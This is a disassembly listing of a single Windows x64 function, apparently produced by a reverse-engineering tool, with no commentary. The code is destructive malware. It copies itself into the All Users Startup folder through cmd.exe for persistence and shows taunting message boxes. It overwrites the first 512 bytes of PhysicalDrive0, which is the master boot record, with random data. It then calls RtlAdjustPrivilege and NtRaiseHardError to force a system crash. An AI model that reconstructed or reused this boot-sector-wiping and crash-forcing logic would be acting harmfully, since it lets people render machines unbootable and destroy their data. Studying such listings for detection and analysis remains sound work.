Function at 0x140002890
Capabilities:
Create thread
Get common file path
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x680]
sub rsp, 0x780
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x650], rax
mov qword [rbp - 0x20], rcx
lea rdx, [rbp + 0x440]
xor ecx, ecx
mov r8d, 0x104
mov r13d, r9d
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r12d, r12d
lea rax, [rbp + 0x440]
xorps xmm0, xmm0
mov qword [rbp + 0x80], r12
mov rbx, 0xffffffffffffffff
mov qword [rbp + 0x88], r12
movups xmmword [rbp + 0x70], xmm0
mov r8, rbx
inc r8
cmp word [rax + r8*2], r12w
jne 0x140002905
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x70]
call fcn.1400046e0
mov r15, qword [rbp + 0x88]
lea rdi, [rbp + 0x70]
mov r14, qword [rbp + 0x70]
cmp r15, 7
mov rsi, qword [rbp + 0x80]
cmova rdi, r14
test rsi, rsi
je 0x140002a03
xor edx, edx
lea rcx, [rbp + 0x120]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x140007a10]
mov r8d, 0x100
lea rdx, [0x140007a12]
nop
movzx eax, word [rcx]
cmp ax, r8w
jae 0x1400029be
movzx eax, al
add rcx, 2
mov byte [rbp + rax + 0x120], 1
cmp rcx, rdx
jne 0x140002970
lea rax, [rsi - 1]
mov rcx, rbx
cmp rax, rbx
cmovb rcx, rax
lea rdx, [rdi + rcx*2]
nop
movzx eax, word [rdx]
cmp ax, r8w
jae 0x1400029b3
cmp byte [rbp + rax + 0x120], r12b
jne 0x1400029fb
cmp rdx, rdi
je 0x140002a03
sub rdx, 2
jmp 0x1400029a0
lea rax, [rsi - 1]
mov rcx, rbx
cmp rax, rbx
cmovb rcx, rax
lea rdx, [rdi + rcx*2]
movzx r8d, word [rdx]
lea rax, [0x140007a10]
mov ecx, 1
cmp word [rax], r8w
je 0x1400029fb
add rax, 2
sub rcx, 1
jne 0x1400029e0
cmp rdx, rdi
je 0x140002a03
sub rdx, 2
jmp 0x1400029d0
sub rdx, rdi
sar rdx, 1
jmp 0x140002a06
mov rdx, rbx
cmp rdx, rbx
je 0x140002ab8
inc rdx
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], r12
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
cmp rsi, rdx
jb 0x140003849
sub rsi, rdx
lea rax, [rbp + 0x70]
cmp rsi, rbx
lea rcx, [rbp + 0xc0]
mov r8, rbx
cmovb r8, rsi
cmp r15, 7
cmova rax, r14
lea rdx, [rax + rdx*2]
call fcn.1400046e0
mov rdx, qword [rbp + 0x88]
cmp rdx, 7
jbe 0x140002a9f
mov rcx, qword [rbp + 0x70]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a9a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400037d8
call fcn.1400051fc
movups xmm0, xmmword [rbp + 0xc0]
movups xmm1, xmmword [rbp + 0xd0]
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm1
lea rdx, [rbp + 0x230]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
xorps xmm0, xmm0
mov qword [rbp + 0xf0], r12
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf8], r12
lea rax, [rbp + 0x230]
mov r8, rbx
nop dword [rax]
inc r8
cmp word [rax + r8*2], r12w
jne 0x140002af0
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0xe0]
call fcn.1400046e0
xorps xmm0, xmm0
mov qword [rbp + 0xd0], r12
mov r8d, 0x3c
mov qword [rbp + 0xd8], r12
lea rdx, str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartUp
lea rcx, [rbp + 0xc0]
movups xmmword [rbp + 0xc0], xmm0
call fcn.1400046e0
xorps xmm0, xmm0
mov qword [rbp - 0x30], r12
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x28], r12
lea rax, [rbp + 0x230]
inc rbx
cmp word [rax + rbx*2], r12w
jne 0x140002b54
mov r8, rbx
lea rdx, [rbp + 0x230]
lea rcx, [rbp - 0x40]
call fcn.1400046e0
mov rcx, qword [rbp - 0x28]
mov r14d, 0x11
mov r8, qword [rbp - 0x30]
mov rax, rcx
sub rax, r8
cmp rax, r14
jb 0x140002c1b
lea rax, [r8 + 0x11]
cmp rcx, 7
lea rdi, [rbp - 0x40]
mov qword [rbp - 0x30], rax
cmova rdi, qword [rbp - 0x40]
lea rax, [0x140007aca]
lea r15, str.cmd.exe__C_copy__
cmp rax, rdi
jbe 0x140002bd4
lea rax, [rdi + r8*2]
cmp r15, rax
ja 0x140002bd4
cmp rdi, r15
ja 0x140002bc9
mov rsi, r12
jmp 0x140002bd7
mov rsi, rdi
sub rsi, r15
sar rsi, 1
jmp 0x140002bd7
mov rsi, r14
lea rcx, [rdi + 0x22]
mov rdx, rdi
lea r8, [r8*2 + 2]
call sub.VCRUNTIME140.dll_memmove
lea rbx, [rsi + rsi]
mov rdx, r15
mov r8, rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
sub r14, rsi
lea rdx, [r15 + 0x22]
lea rcx, [rbx + rdi]
lea rdx, [rdx + rsi*2]
lea r8, [r14 + r14]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x40]
jmp 0x140002c2c
mov rdx, r14
mov qword [rsp + 0x28], r14
lea rcx, [rbp - 0x40]
call fcn.140004e30
xor r14d, r14d
lea rcx, [rbp + 0x90]
mov qword [rbp + 0xa0], r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa8], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov r8, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0xa0]
mov rax, r8
sub rax, rdx
cmp rax, 1
jb 0x140002cbd
lea rax, [rdx + 1]
cmp r8, 7
mov qword [rbp + 0xa0], rax
mov eax, dword [0x140007a10]
cmova rcx, qword [rbp + 0x90]
mov word [rcx + rdx*2], ax
lea rax, [rbp + 0x90]
mov word [rcx + rdx*2 + 2], r14w
jmp 0x140002cd7
lea r9, [0x140007a10]
mov qword [rsp + 0x20], 1
mov edx, 1
call fcn.140004c70
mov qword [rbp - 0x50], r14
lea r9, [rbp + 0x70]
mov qword [rbp - 0x48], r14
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
cmp qword [rbp + 0x88], 7
mov rcx, qword [rbp - 0x48]
cmova r9, qword [rbp + 0x70]
mov rax, rcx
mov rsi, qword [rbp - 0x50]
mov rdi, qword [rbp + 0x80]
sub rax, rsi
cmp rdi, rax
ja 0x140002d64
cmp rcx, 7
lea rax, [rsi + rdi]
lea rbx, [rbp - 0x60]
mov qword [rbp - 0x50], rax
cmova rbx, qword [rbp - 0x60]
lea r8, [rdi + rdi]
mov rdx, r9
lea rcx, [rbx + rsi*2]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + rdi]
mov word [rbx + rax*2], r14w
lea rax, [rbp - 0x60]
jmp 0x140002d75
mov rdx, rdi
mov qword [rsp + 0x20], rdi
lea rcx, [rbp - 0x60]
call fcn.140004c70
mov qword [rbp - 0x70], r14
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x68], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rcx, qword [rbp - 0x68]
mov rdi, qword [rbp - 0x70]
mov rax, rcx
sub rax, rdi
cmp rax, 3
jb 0x140002dee
cmp rcx, 7
lea rax, [rdi + 3]
lea rbx, [rbp - 0x80]
mov qword [rbp - 0x70], rax
cmova rbx, qword [rbp - 0x80]
lea rdx, [0x140007aa0]
mov r8d, 6
lea rcx, [rbx + rdi*2]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbp - 0x80]
mov word [rbx + rdi*2 + 6], r14w
jmp 0x140002e0c
lea r9, [0x140007aa0]
mov qword [rsp + 0x20], 3
mov edx, 3
lea rcx, [rbp - 0x80]
call fcn.140004c70
mov r12, qword [rbp + 0xd8]
lea r9, [rbp + 0xc0]
mov r15, qword [rbp + 0xc0]
xorps xmm0, xmm0
mov rdi, qword [rbp + 0xd0]
cmp r12, 7
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r14
cmova r9, r15
mov qword [rbp + 0x68], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rcx, qword [rbp + 0x68]
mov rsi, qword [rbp + 0x60]
mov rax, rcx
sub rax, rsi
cmp rdi, rax
ja 0x140002ea5
cmp rcx, 7
lea rax, [rdi + rsi]
lea rbx, [rbp + 0x50]
mov qword [rbp + 0x60], rax
cmova rbx, qword [rbp + 0x50]
lea r8, [rdi + rdi]
mov rdx, r9
lea rcx, [rbx + rsi*2]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rsi]
mov word [rbx + rax*2], r14w
lea rax, [rbp + 0x50]
jmp 0x140002ec4
mov rdx, rdi
mov qword [rsp + 0x20], rdi
lea rcx, [rbp + 0x50]
call fcn.140004c70
mov r12, qword [rbp + 0xd8]
mov r15, qword [rbp + 0xc0]
mov qword [rsp + 0x70], r14
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x78], r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
mov rax, r8
sub rax, rdx
cmp rax, 1
jb 0x140002f3c
lea rax, [rdx + 1]
cmp r8, 7
mov qword [rsp + 0x70], rax
mov eax, dword [0x140007a0c]
cmova rcx, qword [rsp + 0x60]
mov word [rcx + rdx*2], ax
lea rax, [rsp + 0x60]
mov word [rcx + rdx*2 + 2], r14w
jmp 0x140002f56
lea r9, [0x140007a0c]
mov qword [rsp + 0x20], 1
mov edx, 1
call fcn.140004c70
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rdx, qword [rsp + 0x78]
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm1
cmp rdx, 7
jbe 0x140002fbd
mov rcx, qword [rsp + 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fb8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003157
call fcn.1400051fc
mov rdx, qword [rbp + 0x68]
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r14w
cmp rdx, 7
jbe 0x140003011
mov rcx, qword [rbp + 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000300c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003157
call fcn.1400051fc
mov rdx, qword [rbp - 0x68]
mov qword [rbp + 0x60], r14
mov qword [rbp + 0x68], 7
mov word [rbp + 0x50], r14w
cmp rdx, 7
jbe 0x140003062
mov rcx, qword [rbp - 0x80]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000305d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003157
call fcn.1400051fc
mov rdx, qword [rbp - 0x48]
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r14w
cmp rdx, 7
jbe 0x1400030b3
mov rcx, qword [rbp - 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400030ae
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003157
call fcn.1400051fc
mov rdx, qword [rbp + 0xa8]
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r14w
cmp rdx, 7
jbe 0x140003106
mov rcx, qword [rbp + 0x90]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003101
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003157
call fcn.1400051fc
mov rdx, qword [rbp - 0x28]
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], 7
mov word [rbp + 0x90], r14w
cmp rdx, 7
jbe 0x140003163
mov rcx, qword [rbp - 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000315e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000315e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400051fc
movaps xmmword [rsp + 0x770], xmm6
movaps xmmword [rsp + 0x760], xmm7
call fcn.140001d20
lea r8, [rbp + 0x100]
mov edi, eax
lea rcx, [rbp + 0x90]
call fcn.140004590
mov r8, rax
mov r10, qword [rax + 0x18]
mov rdx, qword [rax + 0x10]
mov rcx, r10
sub rcx, rdx
cmp rcx, 1
mov rcx, rax
jb 0x1400031c9
lea r9, [rdx + 1]
mov qword [rax + 0x10], r9
cmp r10, 7
jbe 0x1400031b8
mov rcx, qword [rax]
mov eax, dword [0x140007a0c]
mov word [rcx + rdx*2], ax
mov word [rcx + r9*2], r14w
jmp 0x1400031e6
lea r9, [0x140007a0c]
mov qword [rsp + 0x20], 1
mov edx, 1
call fcn.140004c70
mov r8, rax
movups xmm6, xmmword [r8]
mov ecx, 0x30
movups xmm7, xmmword [r8 + 0x10]
mov qword [r8 + 0x10], r14
mov qword [r8 + 0x18], 7
mov word [r8], r14w
call fcn.1400051c0
mov rbx, rax
mov qword [rbp + 0x50], r14
lea rcx, [rbp + 0x50]
movups xmmword [rax], xmm6
movups xmmword [rax + 0x10], xmm7
mov dword [rax + 0x20], edi
lea rax, [0x140002020]
mov qword [rbx + 0x28], rax
call fcn.140004fc0
lea rax, [rsp + 0x68]
mov r9, rbx
mov qword [rsp + 0x28], rax
lea r8, [0x1400050a0]
xor edx, edx
mov dword [rsp + 0x20], r14d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
movaps xmm7, xmmword [rsp + 0x760]
movaps xmm6, xmmword [rsp + 0x770]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x140003838
cmp dword [rsp + 0x68], r14d
je 0x14000382c
movaps xmm0, xmmword [rsp + 0x60]
lea rcx, [rbp + 0x50]
movdqa xmmword [rbp + 0x50], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14000382c
mov rdx, qword [rbp + 0xa8]
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
cmp rdx, 7
jbe 0x1400032e8
mov rcx, qword [rbp + 0x90]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032e3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400032e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400051fc
mov r9d, 4
lea r8, str.Quistion
lea rdx, str.Do_you_Regret_This_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x140003312
lea rdx, str.Good...
jmp 0x14000331e
cmp eax, 7
jne 0x140003330
lea rdx, str.You_Should...
xor r9d, r9d
lea r8, str.Quistion
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rsi, qword [rbp - 0x20]
lea rcx, [rbp - 0x10]
movabs rax, 0x4500490044
mov qword [rbp - 0x10], r14
mov qword [rbp + 0x220], rax
xorps xmm0, xmm0
lea rax, [0x1400023f0]
mov qword [rbp], r14
mov qword [rbp - 8], rax
xorps xmm1, xmm1
lea rax, [rbp + 0x220]
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x30], rax
movdqa xmmword [rbp + 0x20], xmm1
mov qword [rbp + 8], rsi
call qword [sym.imp.USER32.dll_RegisterClassW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ecx, 8
call fcn.1400051c0
lea rcx, [0x140002530]
mov r9, rax
lea r8, [0x140005150]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x58]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x50], rax
test rax, rax
je 0x14000381c
cmp dword [rbp + 0x58], r14d
je 0x140003810
movaps xmm0, xmmword [rbp + 0x50]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140003810
xorps xmm0, xmm0
xor ecx, ecx
movdqa xmmword [rbp + 0x50], xmm0
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov edi, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv ebx
mov ebx, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov qword [rsp + 0x58], r14
mov r9d, 0x80000000
mov qword [rsp + 0x50], rsi
cdq
mov qword [rsp + 0x48], r14
xor r8d, r8d
idiv edi
mov qword [rsp + 0x40], r14
mov ecx, 0x88
mov dword [rsp + 0x38], 0xc8
mov dword [rsp + 0x30], 0x12c
mov dword [rsp + 0x28], edx
lea rdx, [rbp + 0x220]
mov dword [rsp + 0x20], ebx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rbx, rax
test rax, rax
je 0x1400036db
xor r12d, r12d
mov edx, r13d
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rbx
call qword [sym.imp.USER32.dll_UpdateWindow]
xorps xmm0, xmm0
mov dword [rsp + 0x20], 1
xor r9d, r9d
lea rcx, [rbp + 0x90]
xor r8d, r8d
xor edx, edx
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14000350d
lea rcx, [rbp + 0x90]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x90]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x90]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x1400034d2
mov qword [rsp + 0x30], r12
lea rcx, str..PhysicalDrive0
mov dword [rsp + 0x28], 4
xor r9d, r9d
mov edx, 0x10000000
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, 0x201
mov r14, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x1400035a3
mov ebx, 1
lea rdi, [rax + 1]
lea r12, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
inc ebx
lea rdi, [rdi + 1]
mov r8d, eax
mov eax, 0x84210843
imul r8d
add edx, r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x3e
sub r8d, ecx
movsxd rax, r8d
movzx eax, byte [rax + r12]
mov byte [rdi - 1], al
cmp ebx, 0x200
jb 0x140003563
xor r12d, r12d
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov r8d, 0x200
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [0x14000b944]
inc eax
mov dword [0x14000b944], eax
cmp eax, 0x64
jne 0x140003652
lea rcx, [0x140007b80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rbp + 0x40]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
mov rdi, rax
call rbx
lea rax, [rbp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc00002b4
call rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov edi, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv ebx
mov ebx, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov rsi, qword [rbp - 0x20]
mov r9d, 0x80000000
mov qword [rsp + 0x58], r12
cdq
mov qword [rsp + 0x50], rsi
xor r8d, r8d
mov qword [rsp + 0x48], r12
mov ecx, 0x88
idiv edi
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], 0xc8
mov dword [rsp + 0x30], 0x12c
mov dword [rsp + 0x28], edx
lea rdx, [rbp + 0x220]
mov dword [rsp + 0x20], ebx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rbx, rax
test rax, rax
jne 0x140003484
mov r12, qword [rbp + 0xd8]
mov rdx, qword [rbp + 0x118]
cmp rdx, 7
jbe 0x140003721
mov rcx, qword [rbp + 0x100]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000371c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400037d8
call fcn.1400051fc
cmp r12, 7
jbe 0x14000375c
lea rdx, [r12*2 + 2]
mov rax, r15
cmp rdx, 0x1000
jb 0x140003754
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400037d8
mov rcx, r15
call fcn.1400051fc
mov rdx, qword [rbp + 0xf8]
cmp rdx, 7
jbe 0x14000379e
mov rcx, qword [rbp + 0xe0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003799
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400037d8
call fcn.1400051fc
mov rdx, qword [rbp + 0x88]
cmp rdx, 7
jbe 0x1400037e4
mov rcx, qword [rbp + 0x70]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037df
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400037df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400051fc
xor eax, eax
mov rcx, qword [rbp + 0x650]
xor rcx, rsp
call fcn.1400051a0
mov rbx, qword [rsp + 0x7c8]
add rsp, 0x780
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x58], r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rsp + 0x68], r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call fcn.1400043d0
int3